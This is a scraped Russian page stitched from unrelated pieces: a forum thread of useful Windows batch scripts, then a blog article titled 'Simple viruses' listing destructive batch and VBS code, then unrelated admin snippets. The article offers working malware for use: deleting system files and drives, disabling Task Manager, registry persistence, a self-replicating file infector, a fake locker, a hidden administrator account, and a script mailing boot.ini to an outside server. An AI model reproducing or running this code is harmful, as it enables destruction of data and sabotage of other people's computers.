17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
|
1 |
|
15.10.2012, 00:56. Показов 562880. Ответов 179 Метки acl, antihidden, cabinet archive, cacls, drive serial number, folder permissions, not responding, regsvr32, sfc /scannow, takeown, полезные bat/cmd скрипты (Все метки)
В этой теме выкладываем скрипты, которые часто используются Вами Также приветствуются скрипты высокой степени сложности, полезные с точки зрения Правила темы:
Схожая тема: BAT/CMD файлы ******************* Перечень полезных скриптов: ******************* Архивация и резервное копирование Безопасность Дата, время Интерфейс Компиляция Операционная система Сеть Процессы Текстовые операции, кодировка (файловые операции) ссылка Файловые операции, разделы Другое
21 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||||
15.10.2012, 00:57 [ТС] |
2 |
|||||
Взаимное копирование содержимого 2 папок друг в друга Критерий копирования при совпадении имен файлов: последняя дата модификации. Использование: Примечание: скрипт использует Robocopy.exe из пакета Windows Resource Kit (является родной для Windows 7) Развернуть код …
Вложения
3 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||||||||||
15.10.2012, 02:41 [ТС] |
3 |
|||||||||||
Удаление последствий вируса (поддельные «фейковые» папки на флешке) Использование: Показания к применению: Функционал v.1.5.: Папка содержит в свою очередь 3 неудаляемые штатными способами подпапки, создаваемые разными алгоритмами. Тонкости: Основные изменения в update 1.5. (от 16.11.2012) Обсуждение скрипта ведется здесь (и последняя версия скрипта тоже): AntiHidden — Удаление последствий вируса (поддельные «фейковые» папки на флешке) FAQ Как удалить созданную программой папку Autorun.inf Программа работает слишком долго: Зачем удалять программы в корне папки %appdata% ? Листинг исходного кода v.1.5.1. ua:
В коде версии 1.5. использованы спецсимволы BackSpace, поэтому при прямом копировании кода Ваш батник работать не будет, как задумано.
Add. Перевод на русский v.1.4.: Листинг (с переводом).
Вложения
8 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
|
15.10.2012, 02:44 [ТС] |
4 |
Стать владельцем папки/файла, получить полные права (пункт контекстного меню) Скрипт представляет из себе ключик реестра. Использование: Предназначение: Показания к применению: Ключик Nizaury Reg-Key Листинг: Код Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT*shellrunas] @="Стать владельцем и задать полный доступ к объекту" "NoWorkingDirectory"="" [HKEY_CLASSES_ROOT*shellrunascommand] @="cmd.exe /c takeown /f "%1" && icacls "%1" /grant администраторы:F" "IsolatedCommand"="cmd.exe /c takeown /f "%1" && icacls "%1" /grant администраторы:F" [HKEY_CLASSES_ROOTDirectoryshellrunas] @="Стать владельцем и задать полный доступ к объекту" "NoWorkingDirectory"="" [HKEY_CLASSES_ROOTDirectoryshellrunascommand] @="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant администраторы:F /t" "IsolatedCommand"="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant администраторы:F /t" Автор: Nizaury Смежный скрипт: Смена владельца и прав на папку и ее содержимое, в которой запущен батник
13 |
Anonymоus 612 / 92 / 14 Регистрация: 15.08.2012 Сообщений: 62 |
||||||||||||
15.10.2012, 05:16 |
5 |
|||||||||||
Подсчёт маски подсети на основании двух крайних значений диапазона. Синтаксис — netmask.cmd <начало диапазона> <конец диапазона> Развернуть код …
UPD. 26.04.13 Использование: Примеры:
Развернуть код …
.
2 |
612 / 92 / 14 Регистрация: 15.08.2012 Сообщений: 62 |
|
15.10.2012, 05:16 |
6 |
Пакетное получение информации о IP-адресах и построение HTML-отчёта. Использование — поместить IP-адреса (по одному на строку) в файл iplist.txt, запустить masswhois.bat и дождаться завершения работы. Результат будет представлен в виде result.html В отчёте представлены: сам IP, его маска и диапазон, страна, имя подсети и адрес. Использованные внешние утилиты — grep, uniqline, whosip, netmask.cmd
2 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||||
21.10.2012, 03:05 [ТС] |
7 |
|||||
Вывод текста без переноса на новую строку Принцип подсмотрел у alexii на сером форуме. Код содержит невидимые символы BackSpace (0x08). Будет полезен для создания процентного прогрессбара Рабочий вариант качайте с файла. Код — замените (0х20) на (0x08)
Вложения
1 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
|
27.10.2012, 02:37 [ТС] |
8 |
Циклическое копирование файлов по каталогам с ожиданием завершения их дозаписи в исходную папку. Массовая рассылка файлов
0 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||||||||||||||||||||||||||||
02.11.2012, 18:00 [ТС] |
9 |
|||||||||||||||||||||||||||||
Перекодировка текста Смотрите обновленную тему: Перекодировка текста (сборник кодов для различных кодовых страниц) Из любой кодировки в любую (через утилиту win_iconv) Скачать утилиту. Синтаксис: Bash iconv [-c] [-s] [-f encoding] [-t encoding] [inputfile …] Перечень кодировок: Bash iconv -l
Пример использования: Bash win_iconv -f UTF-16LE -t cp866 "UTFtext.txt" > "DOStext.txt" Подробности в теме о ключах. Win <-> OEM (неконсольный — на языке VBA) Автор: Dragokas Написан на VBA (Excel). Скачать. Для работы необходимо включить макросы: Описание функций:
OEM-866 -> WIN-1251 (на CMD)
OEM-866 -> WIN-1251 (через утилиту на ASM) Скачать to1251.zip. Самый быстрый перекодировщик. Написан на ассемблере =) Автор: Charles Kludge Использование только через конвейер: Bash ipconfig /all | to1251.exe > result.txt Bash to1251.exe < file1.txt > result.txt Исходник. Код ASM:
Win-1251 -> в Unicode (UTF-16LE) (на CMD) С возможностью указать исходную кодовую страницу: Использование: Bash Batch.cmd infile outfile src_codepage где: Batch.cmd — сам Batch-файл 2 варианта кода: 1) Исходник кода сохранить в кодировке WIN-1251:
2) исходник кода сохранить в кодировке OEM-866:
Как настроить кодировку исходного кода Batch-файла, какой выбрать редактор: Русский текст в консоли UTF-8 -> Win-1251 (cmd) От Smitis
UTF-16 -> OEM-866 (cmd)
UTF-16 -> Win-1251 (cmd)
Вложения
4 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||
12.11.2012, 07:27 [ТС] |
10 |
|||
Завершение процесса (оформлено в виде меню). Развернуть код
Миниатюры
4 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
|
12.11.2012, 07:57 [ТС] |
11 |
Крутящаяся палка (имитация). По типу — песочные часы в Windows =))
4 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||||
12.11.2012, 09:10 [ТС] |
12 |
|||||
Создание CAB-архивов Автор: Alex Averchenkoff Развернуть код
Вложения
3 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||||||||||||
18.11.2012, 06:05 [ТС] |
13 |
|||||||||||||
Смена владельца и прав на папку и ее содержимое, в которой запущен батник (Full Access <-> Read Only) Обновлено 20.11.2012. Добавлена совместимость с XP и Server 2003. 1) RO.cmd (ReadOnly) — делает все файлы и папки доступными только для чтения и выполнения. 2) FA.cmd (FullAccess) — восстанавливает полный доступ для всех пользователей. Для нормальной работы в ОС Windows Vista, Win 7 батник нужно запускать правой кнопкой мыши «От имени Администратора». Как пользоваться: Для корректной работы, вероятно, понадобится утилита из Microsoft Support Tools — ICACLS (включена в ОС Windows Server 2003, начиная с SP2). Поддержка: Исходный код Сохранять в кодировке OEM-866. FA.cmd
RO.cmd
В коде использован метод двойного запуска скрипта исключительно для упрощения Обсуждение скрипта в теме: Смена владельца и прав на папку и ее содержимое Вложения
6 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
|
26.11.2012, 13:41 [ТС] |
14 |
Пищалка (подобие beep) Блокнотом Windows не редактировать! Из командной строки звук можно симмитировать нажатием Ctrl+G, {ENTER}.
5 |
khaarax 6 / 2 / 0 Регистрация: 09.12.2012 Сообщений: 5 |
||||
09.12.2012, 23:00 |
15 |
|||
Вызов GUI диалогового окна выбора папки Развернуть код
Копирайты не помню чьи. Миниатюры
2 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||||||||
30.12.2012, 04:46 [ТС] |
16 |
|||||||||
Многопроцессное создание пустых файлов (бенчмарк для винчестера) P.S. Ниже «процессы» названы «потоками» (простите за эту глупую опечатку). Настраиваемые параметры: Развернуть код
В поданном коде создается 50*10000 = 0,5 млн. файлов, так что попытавшись открыть такую папку даже файловым менеджером все напрочь зависнет. Результаты тестов на моем SSD Индикация процесса удаления папки Развернуть код…
Вложения
5 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||||||||||
03.01.2013, 02:43 [ТС] |
17 |
|||||||||||
Помощник компиляции исходных кодов и проектов .NET (.cs / .sln (C#, VB.NET)) через консольный NET.FrameWork компилятор (csc или msbuild) UPD. 02.03.2017 — добавил скрипт для msbuild. Зачем нужен: Требования: Использование: Функционал: Внутри скрипта есть некоторые комментарии по детальным настройкам. Кликните здесь для просмотра всего текста
P.S. Скрипт для msbuild — упрощённый (лог-файл не ведётся). Кликните здесь для просмотра всего текста
Вложения
5 |
17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
|
06.01.2013, 02:03 [ТС] |
18 |
Отслеживание зависшего процесса и его перезапуск с указанным приоритетом Все параметры настраиваемы (см. начало кода и спойлер). Комментарии писал на английском, уж как есть. Принцип работы: (а вдруг процесс подвис на секунду — не «убивать» же его из-за этого!!!)
Если все проверки позитивны, ищем полный путь к процессу по номеру его Process ID (используется инструментарий WMIC). Настройки:
Можно задавать такие паузы (в мс.): Запуск в минимизированном виде: Приоритеты запускаемого процесса: Имена нескольких процессов задаются через запятую без кавычек, даже если в их имени есть пробел. Upd.3. Скрипт обсуждается здесь Отслеживание зависания (состояния «не отвечает») программы и её перезапуск
7 |
Eva Rosalene Pure Free Digital Ghost 4598 / 1910 / 370 Регистрация: 06.01.2013 Сообщений: 4,564 |
||||
08.01.2013, 21:45 |
19 |
|||
Помощь по всем командам вашей версии Windows / DOS Развврнуть код…
После запуска появятся два текстовых файла.
5 |
Dragokas 17954 / 7591 / 889 Регистрация: 25.12.2011 Сообщений: 11,321 Записей в блоге: 17 |
||||||||
15.01.2013, 02:20 [ТС] |
20 |
|||||||
Прогресс-бар копирования файлов Взято из этой темы. Версия 1.5
Юзаем, например, так:
2 |
Простенькие вирусы:
Убирает рабочий стол
@echo off
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
@echo off
shutdown -s -t 1 -c «lol» >nul
@echo off
shutdown -r -t 1 -c «lol» >nul
Запрещает запускать программы
@echo off
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul
@echo off
del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul
@echo off
del «%SystemRoot%Media» /q >nul
Запрещает заходить в панель управления
@echo off
reg add HKCUSoftwareMicrosoftWindowsCurrent VersionPoliciesExplorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul
Запрещает комбинацию Ctrl-Alt-Delete
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
Меняет местами значение кнопок мыши
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
Удаляет курсор мыши
del «%SystemRoot%Cursors*.*» >nul
Меняет название корзины
reg add HKCUSoftwareMicrosoftWindowsShellNoRoamMUICache /v @C:WINDOWSsystem32SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F
Убирает панель управления
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f
Серьезные вирусы:
Удаляет ВСЕ с разделадиска(не пытайтесь проверить у себя)
rd [Буква_Диск]: /s /q
Удаляет все файлы в program files
del c:Program Files/q
Убивает процесс explorer.exe
taskkill /f /im explorer.exe >nul
Создает миллион папок
FOR /L %%i IN (1,1,1000000) DO md %%i
Удаляет все драйвера, которые установлены на компьютере
del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul
Удаляет команду DEL
del %0
Будет открывать бесконечно Paint
Start mspaint
goto x
Изменяет расширение всех ярлыков на .txt
assoc .lnk=.txt
Заражает Autoexec
copy «»%0″» «%SystemRoot%system32batinit.bat» >nul
reg add «HKCUSOFTWAREMicrosoftCommand Processor» /v AutoRun /t REG_SZ /d «%SystemRoot%syste m32batinit.bat» /f >nul
Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
@echo off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add «HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList» /v «support» /t reg_dword /d 0 y
сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,disableoemlayer
Меняет местами кнопки мыши,но обратная смена не возможна)
rundll32 user,SwapMouseButton
Удаляет ядро системы
del %systemroot%system32HAL.dll
Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)
@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:MrWeb.bat
attrib +h c:MrWeb.bat
:MrWebru
for %%g in (..*.jpg ..*.doc ..*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Вирус заражает *.JPG в текущем каталоге
@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:MrWeb.bat
attrib +h c:MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Жестокие вирусы:
У вашего ламера будет глючить компьютер.
@echo off
echo Set fso = CreateObject(«Scripting.FileSystemObject») > %systemdrive%windowssystem32rundll32.vbs
echo do >> %systemdrive%windowssystem32rundll32.vbs
echo Set tx = fso.CreateTextFile(«%systemdrive%windowssystem32rundll32.dat», True) >> %systemdrive%windowssystem32rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%windowssystem32rundll32.vbs
echo tx.close >> %systemdrive%windowssystem32rundll32.vbs
echo FSO.DeleteFile «%systemdrive%windowssystem32rundll32.dat» >> %systemdrive%windowssystem32rundll32.vbs
echo loop >> %systemdrive%windowssystem32rundll32.vbs
start %systemdrive%windowssystem32rundll32.vbs
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v system_host_run /t REG_SZ /d %systemdrive%windowssystem32rundll32.vbs /f
Вирус который убивает Винду. Не проверяйте на своем компьютере=)
@echo This virus created by LIZA
@echo Virus: pcforumhack.ru™ Virus
@echo Autor: LIZA
@echo off
echo Chr(39)>%temp%temp1.vbs
echo Chr(39)>%temp%temp2.vbs
echo on error resume next > %temp%temp.vbs
echo Set S = CreateObject(«Wscript.Shell») >> %temp%temp.vbs
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%temp.vbs
reg add HKEY_USERSS-1-5-21-343818398-1417001333-725345543-1003SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v nodesktop /d 1 /freg add HKEY_USERSS-1-5-21-343818398-1417001333-725345543-1003SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v ClassicShell /d 1 /fset ¶§=%0
copy %¶§% %SystemRoot%user32dll.bat
reg add «hklmSoftwareMicrosoftWindowsCurrentVersionRun» /v RunExplorer32 /d %SystemRoot%user32dll.bat /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoDrives /t REG_DWORD /d 67108863 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
echo fso.deletefile «C:ntldr»,1 >> %temp%temp.vbs
reg add «HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictions» /v «NoSelectDownloadDir» /d 1 /f
reg add «HKLMSOFTWAREMicrosoftInternet ExplorermainFeatureControlFeature_LocalMachine_Lockdown» /v «IExplorer» /d 0 /f
reg add «HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictions» /v «NoFindFiles» /d 1 /f
reg add «HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictions» /v «NoNavButtons» /d 1 /f
echo fso.deletefolder «D:Windows»,1 >> %temp%temp.vbs
echo fso.deletefolder «I:Windows»,1 >> %temp%temp.vbs
echo fso.deletefolder «C:Windows»,1 >> %temp%temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSystemRoot») >> %temp%temp.vbs
echo fso.deletefile sr+»system32hal.dll»,1 >> %temp%temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSystemRoot») >> %temp%temp.vbs
echo fso.deletefolder sr+»system32dllcache»,1 >> %temp%temp.vbs
echo sr=s.RegRead(«HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSystemRoot») >> %temp%temp.vbs
echo fso.deletefolder sr+»system32drives»,1 >> %temp%temp.vbs
echo s.regwrite «HKEY_CLASSES_ROOTCLSID{645FF040-5081-101B-9F08-00AA002F954E}LocalizedString»,»forum.whack.ru™»>>%temp%temp.vbs
echo s.regwrite «HKLMSOFTWAREMicrosoftWindows NTCurrentVersionRegisteredOwner»,»forum.whack.ru™»>>%temp%temp.vbs
echo s.regwrite «HKLMSOFTWAREMicrosoftWindows NTCurrentVersionRegisteredOrganization»,»forum.whack.ru™»>>%temp%temp.vbs
echo on error resume next > %temp%temp1.vbs
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%temp1.vbs
echo do>>%temp%temp1.vbs
echo fso.getfile («A:»)>>%temp%temp1.vbs
echo loop>>%temp%temp1.vbs
echo on error resume next > %temp%temp2.vbs
echo Set S = CreateObject(«Wscript.Shell») >> %temp%temp2.vbs
echo do>>%temp%temp2.vbs
echo execute»S.Run «»%comspec% /c echo «» & Chr(7), 0, True»>>%temp%temp2.vbs
echo loop>>%temp%temp2.vbs
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem» /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem» /v disableregistrytools /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesNonEnum» /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoNetworkConnections /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v StartmenuLogoff /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoCommonGroups /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoSetFolders /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoFind /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoSMHelp /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoRun /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoClose /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoSMMyPictures /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoControlPanel /t REG_DWORD /d 1 /f
echo set application=createobject(«shell.application»)>>%temp%temp.vbs
echo application.minimizeall>>%temp%temp.vbs
reg add «hklmSoftwareMicrosoftWindowsCurrentVersionrun» /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f
start rundll32 user32, SwapMouseButton
reg add «HKCRexefileshellopencommand» /ve /t REG_SZ /d rundll32.exe /f
echo i=50 >> %temp%temp.vbs
echo while i^>0 or i^<0 >> %temp%temp.vbs
echo S.popup «forum.whack.ru™»,0, «forum.whack.ru™»,0+16 >> %temp%temp.vbs
echo i=i-1 >> %temp%temp.vbs
echo wend >> %temp%temp.vbs
echo do >> %temp%temp.vbs
echo wscript.sleep 200 >> %temp%temp.vbs
echo s.sendkeys»{capslock}» >> %temp%temp.vbs
echo wscript.sleep 200 >> %temp%temp.vbs
echo s.sendkeys»{numlock}» >> %temp%temp.vbs
echo wscript.sleep 200 >> %temp%temp.vbs
echo s.sendkeys»{scrolllock}» >> %temp%temp.vbs
echo loop>> %temp%temp.vbs
echo Set oWMP = CreateObject(«WMPlayer.OCX.7») >> %temp%temp.vbs
echo Set colCDROMs = oWMP.cdromCollection >> %temp%temp.vbs
echo if colCDROMs.Count ^>= 1 then >> %temp%temp.vbs
echo For i = 0 to colCDROMs.Count — 1 >> %temp%temp.vbs
echo colCDROMs.Item(i).eject >> %temp%temp.vbs
echo next >> %temp%temp.vbs
echo End If >> %temp%temp.vbs
echo Call SendPost(«smtp.mail.ru», «forum.whack.ru™@mail.ru», «support@mail.ru», «…», «Копм заражен!») >> %temp%temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%temp.vbs
echo Set iMsg = CreateObject(«CDO.Message») >> %temp%temp.vbs
echo Set iConf = CreateObject(«CDO.Configuration») >> %temp%temp.vbs
echo Set Flds = iConf.Fields >> %temp%temp.vbs
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/sendusing») = 2 >> %temp%temp.vbs
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/smtpauthenticate») = 1 >> %temp%temp.vbs
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/sendusername») = «support» >> %temp%temp.vbs
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/sendpassword») = «support» >> %temp%temp.vbs
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/smtpserver») = «smtp.mail.ru» >> %temp%temp.vbs
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/smtpserverport») = 25 >> %temp%temp.vbs
echo Flds.Update >> %temp%temp.vbs
echo iMsg.Configuration = iConf >> %temp%temp.vbs
echo iMsg.To = strTo >> %temp%temp.vbs
echo iMsg.From = strFrom >> %temp%temp.vbs
echo iMsg.Subject = strSubject >> %temp%temp.vbs
echo iMsg.TextBody = strBody >> %temp%temp.vbs
echo iMsg.AddAttachment «c:boot.ini» >> %temp%temp.vbs
echo iMsg.Send >> %temp%temp.vbs
echo End Function >> %temp%temp.vbs
echo Set iMsg = Nothing >> %temp%temp.vbs
echo Set iConf = Nothing >> %temp%temp.vbs
echo Set Flds = Nothing >> %temp%temp.vbs
echo s.run «shutdown -r -t 0 -c «»pcforumhack.ru™»» -f»,1 >> %temp%temp.vbs
start %temp%temp.vbs
start %temp%temp1.vbs
start %temp%temp2.vbs
Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
@echo off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус…
title Внимание!!!
CHCP 866
IF EXIST C:windowsboot.bat (
goto ok )
cls
IF NOT EXIST C:windowsboot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:.reg
ECHO. >> C:.reg
ECHO [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >> C:.reg
ECHO. >> C:.reg
ECHO «Shell»=»Explorer.exe, C:\windows\boot.bat » >> C:.reg
start/wait regedit -s C:.reg
del C:.reg
ECHO @echo off >>C:windowsboot.bat
ECHO C:WINDOWSsystem32taskkill.exe /f /im Explorer.exe >>C:windowsboot.bat
ECHO reg add «HKCUsoftwareMicrosoftWindowsCurrentVersionPoliciessystem» /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:windowsboot.bat
ECHO start sys.bat >>C:windowsboot.bat
attrib +r +a +s +h C:windowsboot.bat
copy virus.bat c:windowssys.bat
attrib +r +a +s +h C:windowssys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if «%choise%» == «101» goto gold
if «%choise%» == «200393» goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:windowsboot.bat
del C:windowsboot.bat
attrib -r -a -s -h C:windowssys.bat
del C:windowssys.bat
cls
:gold
start C:
:end
Добавляет программу в автозагрузку ОС
copy «»%0″» «%SystemRoot%system32File.bat»
reg add «HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun» /v «Filel» /t REG_SZ /d «%SystemRoot%system32File.bat» /f
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 1 /f
Этот вирус,блокирует все программы,но интернет работает.
@Echo off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD
Категория: Мои статьи | Добавил: drak-zp
Как создать папку с текущей датой и временем
12.02.2021 19:54
Администратор
- 1
- 2
- 3
- 4
- 5
(19 голоса, среднее 2.47 из 5)
Как исправить системную ошибку с кодом 5
05.01.2021 18:31
Администратор
- 1
- 2
- 3
- 4
- 5
(11 голоса, среднее 2.82 из 5)
Получение и сохранение системной информации с помощью командной строки
02.09.2019 16:23
Администратор
- 1
- 2
- 3
- 4
- 5
(26 голоса, среднее 3.12 из 5)
Скрипт для резервного копирования данных
27.07.2015 11:27
Администратор
- 1
- 2
- 3
- 4
- 5
(16 голоса, среднее 4.38 из 5)
10.03.2014 15:21
Администратор
- 1
- 2
- 3
- 4
- 5
(19 голоса, среднее 4.58 из 5)
Подключение сетевого диска
disk.bat
net use Y: /del /yes net use Y: \192.168.0.1share /USER:user1 pAsSw0rd
Закрыть все сеансы подключенных пользователей
kick.bat
net SESSION /DELETE /YES
Ограничение числа входящих подключений в Windows XP
Например при открытии общего доступа к принтеру в сети, если его будут использовать больше 10 человек — могут начаться проблемы.
Как один из вариантов — в планировщике заданий выполнять этот скрипт с правами Администратора каждые 10 мин.
Архивация RAR
rar-full.bat
